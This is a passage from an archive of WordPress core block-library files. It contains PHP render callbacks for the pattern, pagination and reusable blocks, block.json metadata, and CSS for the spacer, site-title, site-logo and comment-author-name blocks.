$slug = $attributes['slug'];
$registry = WP_Block_Patterns_Registry::get_instance();
if ( ! $registry->is_registered( $slug ) ) {
return '';
}
if ( isset( $seen_refs[ $attributes['slug'] ] ) ) {
// WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent
// is set in `wp_debug_mode()`.
$is_debug = WP_DEBUG && WP_DEBUG_DISPLAY;
return $is_debug ?
// translators: Visible only in the front end, this warning takes the place of a faulty block. %s represents a pattern's slug.
sprintf( __( '[block rendering halted for pattern "%s"]' ), $slug ) :
'';
}
$pattern = $registry->get_registered( $slug );
$content = $pattern['content'];
$seen_refs[ $attributes['slug'] ] = true;
$content = do_blocks( $content );
global $wp_embed;
$content = $wp_embed->autoembed( $content );
unset( $seen_refs[ $attributes['slug'] ] );
return $content;
}
add_action( 'init', 'register_block_core_pattern' );
comment-author-name/style.min.css 0000644 00000000064 15237550572 0013073 0 ustar 00 .wp-block-comment-author-name{box-sizing:border-box} comment-author-name/style-rtl.min.css 0000644 00000000064 15237550572 0013672 0 ustar 00 .wp-block-comment-author-name{box-sizing:border-box} comment-author-name/style.css 0000644 00000000073 15237550572 0012311 0 ustar 00 .wp-block-comment-author-name {
box-sizing: border-box;
} comment-author-name/style-rtl.css 0000644 00000000073 15237550572 0013110 0 ustar 00 .wp-block-comment-author-name {
box-sizing: border-box;
} comment-author-name/block.json 0000644 00000002661 15237550572 0012431 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/comment-author-name",
"title": "Comment Author Name",
"category": "theme",
"ancestor": [ "core/comment-template" ],
"description": "Displays the name of the author of the comment.",
"textdomain": "default",
"attributes": {
"isLink": {
"type": "boolean",
"default": true
},
"linkTarget": {
"type": "string",
"default": "_self"
}
},
"usesContext": [ "commentId" ],
"supports": {
"anchor": true,
"html": false,
"spacing": {
"margin": true,
"padding": true
},
"color": {
"gradients": true,
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true,
"link": true
}
},
"typography": {
"fontSize": true,
"lineHeight": true,
"textAlign": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true,
"__experimentalDefaultControls": {
"radius": true,
"color": true,
"width": true,
"style": true
}
}
},
"style": "wp-block-comment-author-name"
}
spacer/style.min.css 0000644 00000000034 15237550572 0010465 0 ustar 00 .wp-block-spacer{clear:both} spacer/style-rtl.min.css 0000644 00000000034 15237550572 0011264 0 ustar 00 .wp-block-spacer{clear:both} spacer/style.css 0000644 00000000043 15237550572 0007703 0 ustar 00 .wp-block-spacer {
clear: both;
} spacer/editor.css 0000644 00000003477 15237550572 0010047 0 ustar 00 /**
* Colors
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
.block-editor-block-list__block[data-type="core/spacer"]::before {
content: "";
display: block;
position: absolute;
z-index: 1;
width: 100%;
min-height: 8px;
min-width: 8px;
height: 100%;
}
.wp-block-spacer.is-hovered .block-library-spacer__resize-container,
.block-library-spacer__resize-container.has-show-handle,
.wp-block-spacer.is-selected.custom-sizes-disabled {
background: rgba(0, 0, 0, 0.1);
}
.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,
.is-dark-theme .block-library-spacer__resize-container.has-show-handle,
.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled {
background: rgba(255, 255, 255, 0.15);
}
.block-library-spacer__resize-container {
clear: both;
}
.block-library-spacer__resize-container:not(.is-resizing) {
height: 100% !important;
width: 100% !important;
}
.block-library-spacer__resize-container .components-resizable-box__handle::before {
content: none;
}
.block-library-spacer__resize-container.resize-horizontal {
margin-bottom: 0;
height: 100% !important;
} spacer/editor-rtl.css 0000644 00000003477 15237550572 0010646 0 ustar 00 /**
* Colors
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
.block-editor-block-list__block[data-type="core/spacer"]::before {
content: "";
display: block;
position: absolute;
z-index: 1;
width: 100%;
min-height: 8px;
min-width: 8px;
height: 100%;
}
.wp-block-spacer.is-hovered .block-library-spacer__resize-container,
.block-library-spacer__resize-container.has-show-handle,
.wp-block-spacer.is-selected.custom-sizes-disabled {
background: rgba(0, 0, 0, 0.1);
}
.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,
.is-dark-theme .block-library-spacer__resize-container.has-show-handle,
.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled {
background: rgba(255, 255, 255, 0.15);
}
.block-library-spacer__resize-container {
clear: both;
}
.block-library-spacer__resize-container:not(.is-resizing) {
height: 100% !important;
width: 100% !important;
}
.block-library-spacer__resize-container .components-resizable-box__handle::before {
content: none;
}
.block-library-spacer__resize-container.resize-horizontal {
margin-bottom: 0;
height: 100% !important;
} spacer/editor-rtl.min.css 0000644 00000001664 15237550572 0011424 0 ustar 00 .block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:#0000001a}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:#ffffff26}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{height:100%!important;margin-bottom:0} spacer/style-rtl.css 0000644 00000000043 15237550572 0010502 0 ustar 00 .wp-block-spacer {
clear: both;
} spacer/block.json 0000644 00000001245 15237550572 0010023 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/spacer",
"title": "Spacer",
"category": "design",
"description": "Add white space between blocks and customize its height.",
"textdomain": "default",
"attributes": {
"height": {
"type": "string",
"default": "100px"
},
"width": {
"type": "string"
}
},
"usesContext": [ "orientation" ],
"supports": {
"anchor": true,
"spacing": {
"margin": [ "top", "bottom" ],
"__experimentalDefaultControls": {
"margin": true
}
},
"interactivity": {
"clientNavigation": true
}
},
"editorStyle": "wp-block-spacer-editor",
"style": "wp-block-spacer"
}
spacer/editor.min.css 0000644 00000001664 15237550572 0010625 0 ustar 00 .block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:#0000001a}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:#ffffff26}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{height:100%!important;margin-bottom:0} query-pagination.php 0000644 00000002230 15237550572 0010561 0 ustar 00 <?php
/**
* Server-side rendering of the `core/query-pagination` block.
*
* @package WordPress
*/
/**
* Renders the `core/query-pagination` block on the server.
*
* @since 5.9.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
*
* @return string Returns the wrapper for the Query pagination.
*/
function render_block_core_query_pagination( $attributes, $content ) {
if ( empty( trim( $content ) ) ) {
return '';
}
$classes = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : '';
$wrapper_attributes = get_block_wrapper_attributes(
array(
'aria-label' => __( 'Pagination' ),
'class' => $classes,
)
);
return sprintf(
'<nav %1$s>%2$s</nav>',
$wrapper_attributes,
$content
);
}
/**
* Registers the `core/query-pagination` block on the server.
*
* @since 5.8.0
*/
function register_block_core_query_pagination() {
register_block_type_from_metadata(
__DIR__ . '/query-pagination',
array(
'render_callback' => 'render_block_core_query_pagination',
)
);
}
add_action( 'init', 'register_block_core_query_pagination' );
comments-pagination-numbers.php 0000644 00000003140 15237550572 0012713 0 ustar 00 <?php
/**
* Server-side rendering of the `core/comments-pagination-numbers` block.
*
* @package WordPress
*/
/**
* Renders the `core/comments-pagination-numbers` block on the server.
*
* @since 6.0.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the pagination numbers for the comments.
*/
function render_block_core_comments_pagination_numbers( $attributes, $content, $block ) {
// Bail out early if the post ID is not set for some reason.
if ( empty( $block->context['postId'] ) ) {
return '';
}
$comment_vars = build_comment_query_vars_from_block( $block );
$total = ( new WP_Comment_Query( $comment_vars ) )->max_num_pages;
$current = ! empty( $comment_vars['paged'] ) ? $comment_vars['paged'] : null;
// Render links.
$content = paginate_comments_links(
array(
'total' => $total,
'current' => $current,
'prev_next' => false,
'echo' => false,
)
);
if ( empty( $content ) ) {
return '';
}
$wrapper_attributes = get_block_wrapper_attributes();
return sprintf(
'<div %1$s>%2$s</div>',
$wrapper_attributes,
$content
);
}
/**
* Registers the `core/comments-pagination-numbers` block on the server.
*
* @since 6.0.0
*/
function register_block_core_comments_pagination_numbers() {
register_block_type_from_metadata(
__DIR__ . '/comments-pagination-numbers',
array(
'render_callback' => 'render_block_core_comments_pagination_numbers',
)
);
}
add_action( 'init', 'register_block_core_comments_pagination_numbers' );
site-title/style.min.css 0000644 00000000350 15237550572 0011274 0 ustar 00 .wp-block-site-title{box-sizing:border-box}.wp-block-site-title :where(a){color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit} site-title/style-rtl.min.css 0000644 00000000350 15237550572 0012073 0 ustar 00 .wp-block-site-title{box-sizing:border-box}.wp-block-site-title :where(a){color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit} site-title/style.css 0000644 00000000423 15237550572 0010513 0 ustar 00 .wp-block-site-title {
box-sizing: border-box;
}
.wp-block-site-title :where(a) {
color: inherit;
font-family: inherit;
font-size: inherit;
font-style: inherit;
font-weight: inherit;
letter-spacing: inherit;
line-height: inherit;
text-decoration: inherit;
} site-title/editor.css 0000644 00000000115 15237550572 0010637 0 ustar 00 .wp-block-site-title__placeholder {
padding: 1em 0;
border: 1px dashed;
} site-title/editor-rtl.css 0000644 00000000115 15237550572 0011436 0 ustar 00 .wp-block-site-title__placeholder {
padding: 1em 0;
border: 1px dashed;
} site-title/editor-rtl.min.css 0000644 00000000102 15237550572 0012214 0 ustar 00 .wp-block-site-title__placeholder{border:1px dashed;padding:1em 0} site-title/style-rtl.css 0000644 00000000423 15237550572 0011312 0 ustar 00 .wp-block-site-title {
box-sizing: border-box;
}
.wp-block-site-title :where(a) {
color: inherit;
font-family: inherit;
font-size: inherit;
font-style: inherit;
font-weight: inherit;
letter-spacing: inherit;
line-height: inherit;
text-decoration: inherit;
} site-title/block.json 0000644 00000003405 15237550572 0010631 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/site-title",
"title": "Site Title",
"category": "theme",
"description": "Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.",
"textdomain": "default",
"attributes": {
"level": {
"type": "number",
"default": 1
},
"levelOptions": {
"type": "array",
"default": [ 0, 1, 2, 3, 4, 5, 6 ]
},
"textAlign": {
"type": "string"
},
"isLink": {
"type": "boolean",
"default": true,
"role": "content"
},
"linkTarget": {
"type": "string",
"default": "_self",
"role": "content"
}
},
"example": {
"viewportWidth": 500
},
"supports": {
"anchor": true,
"align": [ "wide", "full" ],
"html": false,
"color": {
"gradients": true,
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true,
"link": true
}
},
"spacing": {
"padding": true,
"margin": true,
"__experimentalDefaultControls": {
"margin": false,
"padding": false
}
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalFontStyle": true,
"__experimentalFontWeight": true,
"__experimentalLetterSpacing": true,
"__experimentalWritingMode": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true
}
},
"editorStyle": "wp-block-site-title-editor",
"style": "wp-block-site-title"
}
site-title/editor.min.css 0000644 00000000102 15237550572 0011415 0 ustar 00 .wp-block-site-title__placeholder{border:1px dashed;padding:1em 0} block.php 0000644 00000010132 15237550572 0006357 0 ustar 00 <?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName // Needed for WP_Block_Cloner helper class.
/**
* Server-side rendering of the `core/block` block.
*
* @package WordPress
*/
/**
* Renders the `core/block` block on server.
*
* @since 5.0.0
*
* @global WP_Embed $wp_embed
*
* @param array $attributes The block attributes.
*
* @return string Rendered HTML of the referenced block.
*/
function render_block_core_block( $attributes, $content, $block_instance ) {
static $seen_refs = array();
if ( empty( $attributes['ref'] ) ) {
return '';
}
$reusable_block = get_post( $attributes['ref'] );
if ( ! $reusable_block || 'wp_block' !== $reusable_block->post_type ) {
return '';
}
if ( isset( $seen_refs[ $attributes['ref'] ] ) ) {
// WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent
// is set in `wp_debug_mode()`.
$is_debug = WP_DEBUG && WP_DEBUG_DISPLAY;
return $is_debug ?
// translators: Visible only in the front end, this warning takes the place of a faulty block.
__( '[block rendering halted]' ) :
'';
}
if ( 'publish' !== $reusable_block->post_status || ! empty( $reusable_block->post_password ) ) {
return '';
}
$seen_refs[ $attributes['ref'] ] = true;
// Handle embeds for reusable blocks.
global $wp_embed;
$content = $wp_embed->run_shortcode( $reusable_block->post_content );
$content = $wp_embed->autoembed( $content );
// Back compat.
// For blocks that have not been migrated in the editor, add some back compat
// so that front-end rendering continues to work.
// This matches the `v2` deprecation. Removes the inner `values` property
// from every item.
if ( isset( $attributes['content'] ) ) {
foreach ( $attributes['content'] as &$content_data ) {
if ( isset( $content_data['values'] ) ) {
$is_assoc_array = is_array( $content_data['values'] ) && ! wp_is_numeric_array( $content_data['values'] );
if ( $is_assoc_array ) {
$content_data = $content_data['values'];
}
}
}
}
// This matches the `v1` deprecation. Rename `overrides` to `content`.
if ( isset( $attributes['overrides'] ) && ! isset( $attributes['content'] ) ) {
$attributes['content'] = $attributes['overrides'];
}
// Apply Block Hooks.
$content = apply_block_hooks_to_content_from_post_object( $content, $reusable_block );
/**
* We attach the blocks from $content as inner blocks to the Synced Pattern block instance.
* This ensures that block context available to the Synced Pattern block instance is provided to
* those blocks.
*/
$block_instance->parsed_block['innerBlocks'] = parse_blocks( $content );
$block_instance->parsed_block['innerContent'] = array_fill( 0, count( $block_instance->parsed_block['innerBlocks'] ), null );
if ( method_exists( $block_instance, 'refresh_context_dependents' ) ) {
// WP_Block::refresh_context_dependents() was introduced in WordPress 6.8.
$block_instance->refresh_context_dependents();
} else {
// This branch can be removed once Gutenberg requires WordPress 6.8 or later.
if ( ! class_exists( 'WP_Block_Cloner' ) ) {
// phpcs:ignore Gutenberg.Commenting.SinceTag.MissingClassSinceTag
class WP_Block_Cloner extends WP_Block {
/**
* Static methods of subclasses have access to protected properties
* of instances of the parent class.
* In this case, this gives us access to `available_context` and `registry`.
*/
// phpcs:ignore Gutenberg.Commenting.SinceTag.MissingMethodSinceTag
public static function clone_instance( $instance ) {
return new WP_Block(
$instance->parsed_block,
$instance->available_context,
$instance->registry
);
}
}
}
$block_instance = WP_Block_Cloner::clone_instance( $block_instance );
}
$content = $block_instance->render( array( 'dynamic' => false ) );
unset( $seen_refs[ $attributes['ref'] ] );
return $content;
}
/**
* Registers the `core/block` block.
*
* @since 5.3.0
*/
function register_block_core_block() {
register_block_type_from_metadata(
__DIR__ . '/block',
array(
'render_callback' => 'render_block_core_block',
)
);
}
add_action( 'init', 'register_block_core_block' );
site-logo/style.min.css 0000644 00000000705 15237550572 0011117 0 ustar 00 .wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}:root :where(.wp-block-site-logo.is-style-rounded){border-radius:9999px} site-logo/style-rtl.min.css 0000644 00000000705 15237550572 0011716 0 ustar 00 .wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}:root :where(.wp-block-site-logo.is-style-rounded){border-radius:9999px} site-logo/style.css 0000644 00000001026 15237550572 0010332 0 ustar 00 .wp-block-site-logo {
box-sizing: border-box;
line-height: 0;
}
.wp-block-site-logo a {
display: inline-block;
line-height: 0;
}
.wp-block-site-logo.is-default-size img {
width: 120px;
height: auto;
}
.wp-block-site-logo img {
height: auto;
max-width: 100%;
}
.wp-block-site-logo a,
.wp-block-site-logo img {
border-radius: inherit;
}
.wp-block-site-logo.aligncenter {
margin-left: auto;
margin-right: auto;
text-align: center;
}
:root :where(.wp-block-site-logo.is-style-rounded) {
border-radius: 9999px;
} site-logo/editor.css 0000644 00000006522 15237550572 0010466 0 ustar 00 /**
* Colors
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
.wp-block[data-align=center] > .wp-block-site-logo,
.wp-block-site-logo.aligncenter > div {
display: table;
margin-left: auto;
margin-right: auto;
}
.wp-block-site-logo a {
pointer-events: none;
}
.wp-block-site-logo .custom-logo-link {
cursor: inherit;
}
.wp-block-site-logo .custom-logo-link:focus {
box-shadow: none;
}
.wp-block-site-logo img {
display: block;
height: auto;
max-width: 100%;
}
.wp-block-site-logo.is-transient {
position: relative;
}
.wp-block-site-logo.is-transient img {
opacity: 0.3;
}
.wp-block-site-logo.is-transient .components-spinner {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
margin: 0;
}
.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder {
height: 60px;
width: 60px;
}
.wp-block-site-logo.wp-block-site-logo > div,
.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container {
border-radius: inherit;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder {
display: flex;
justify-content: center;
align-items: center;
padding: 0;
border-radius: inherit;
min-height: 48px;
min-width: 48px;
height: 100%;
width: 100%;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload {
display: none;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text {
display: none;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button {
padding: 0;
margin: auto;
display: flex;
justify-content: center;
align-items: center;
width: 48px;
height: 48px;
border-radius: 50%;
position: relative;
background: var(--wp-admin-theme-color);
border-color: var(--wp-admin-theme-color);
border-style: solid;
color: #fff;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button > svg {
color: inherit;
}
.block-library-site-logo__inspector-media-replace-container {
position: relative;
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title {
word-break: break-all;
white-space: normal;
text-align: start;
text-align-last: center;
}
.block-library-site-logo__inspector-media-replace-container img {
width: 20px;
min-width: 20px;
aspect-ratio: 1;
box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2);
border-radius: 2px;
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview {
padding: 6px 12px;
display: flex;
height: 40px;
} site-logo/editor-rtl.css 0000644 00000006522 15237550572 0011265 0 ustar 00 /**
* Colors
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
.wp-block[data-align=center] > .wp-block-site-logo,
.wp-block-site-logo.aligncenter > div {
display: table;
margin-right: auto;
margin-left: auto;
}
.wp-block-site-logo a {
pointer-events: none;
}
.wp-block-site-logo .custom-logo-link {
cursor: inherit;
}
.wp-block-site-logo .custom-logo-link:focus {
box-shadow: none;
}
.wp-block-site-logo img {
display: block;
height: auto;
max-width: 100%;
}
.wp-block-site-logo.is-transient {
position: relative;
}
.wp-block-site-logo.is-transient img {
opacity: 0.3;
}
.wp-block-site-logo.is-transient .components-spinner {
position: absolute;
top: 50%;
right: 50%;
transform: translate(50%, -50%);
margin: 0;
}
.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder {
height: 60px;
width: 60px;
}
.wp-block-site-logo.wp-block-site-logo > div,
.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container {
border-radius: inherit;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder {
display: flex;
justify-content: center;
align-items: center;
padding: 0;
border-radius: inherit;
min-height: 48px;
min-width: 48px;
height: 100%;
width: 100%;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload {
display: none;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text {
display: none;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button {
padding: 0;
margin: auto;
display: flex;
justify-content: center;
align-items: center;
width: 48px;
height: 48px;
border-radius: 50%;
position: relative;
background: var(--wp-admin-theme-color);
border-color: var(--wp-admin-theme-color);
border-style: solid;
color: #fff;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button > svg {
color: inherit;
}
.block-library-site-logo__inspector-media-replace-container {
position: relative;
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title {
word-break: break-all;
white-space: normal;
text-align: start;
text-align-last: center;
}
.block-library-site-logo__inspector-media-replace-container img {
width: 20px;
min-width: 20px;
aspect-ratio: 1;
box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2);
border-radius: 2px;
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview {
padding: 6px 12px;
display: flex;
height: 40px;
} site-logo/editor-rtl.min.css 0000644 00000004356 15237550572 0012052 0 ustar 00 .wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.is-transient{position:relative}.wp-block-site-logo.is-transient img{opacity:.3}.wp-block-site-logo.is-transient .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-media-replace-container{position:relative}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:2px;box-shadow:inset 0 0 0 1px #0003;min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px} site-logo/style-rtl.css 0000644 00000001026 15237550572 0011131 0 ustar 00 .wp-block-site-logo {
box-sizing: border-box;
line-height: 0;
}
.wp-block-site-logo a {
display: inline-block;
line-height: 0;
}
.wp-block-site-logo.is-default-size img {
width: 120px;
height: auto;
}
.wp-block-site-logo img {
height: auto;
max-width: 100%;
}
.wp-block-site-logo a,
.wp-block-site-logo img {
border-radius: inherit;
}
.wp-block-site-logo.aligncenter {
margin-right: auto;
margin-left: auto;
text-align: center;
}
:root :where(.wp-block-site-logo.is-style-rounded) {
border-radius: 9999px;
} site-logo/block.json 0000644 00000002734 15237550572 0010454 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/site-logo",
"title": "Site Logo",
"category": "theme",
"description": "Display an image to represent this site. Update this block and the changes apply everywhere.",
"textdomain": "default",
"attributes": {
"width": {
"type": "number"
},
"isLink": {
"type": "boolean",
"default": true,
"role": "content"
},
"linkTarget": {
"type": "string",
"default": "_self",
"role": "content"
},
"shouldSyncIcon": {
"type": "boolean"
}
},
"example": {
"viewportWidth": 500,
"attributes": {
"width": 350,
"className": "block-editor-block-types-list__site-logo-example"
}
},
"supports": {
"anchor": true,
"html": false,
"align": true,
"alignWide": false,
"color": {
"text": false,
"background": false
},
"spacing": {
"margin": true,
"padding": true,
"__experimentalDefaultControls": {
"margin": false,
"padding": false
}
},
"interactivity": {
"clientNavigation": true
},
"filter": {
"duotone": true
}
},
"styles": [
{
"name": "default",
"label": "Default",
"isDefault": true
},
{ "name": "rounded", "label": "Rounded" }
],
"selectors": {
"filter": {
"duotone": ".wp-block-site-logo img, .wp-block-site-logo .components-placeholder__illustration, .wp-block-site-logo .components-placeholder::before"
}
},
"editorStyle": "wp-block-site-logo-editor",
"style": "wp-block-site-logo"
}
site-logo/editor.min.css 0000644 00000004356 15237550572 0011253 0 ustar 00 .wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.is-transient{position:relative}.wp-block-site-logo.is-transient img{opacity:.3}.wp-block-site-logo.is-transient .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo 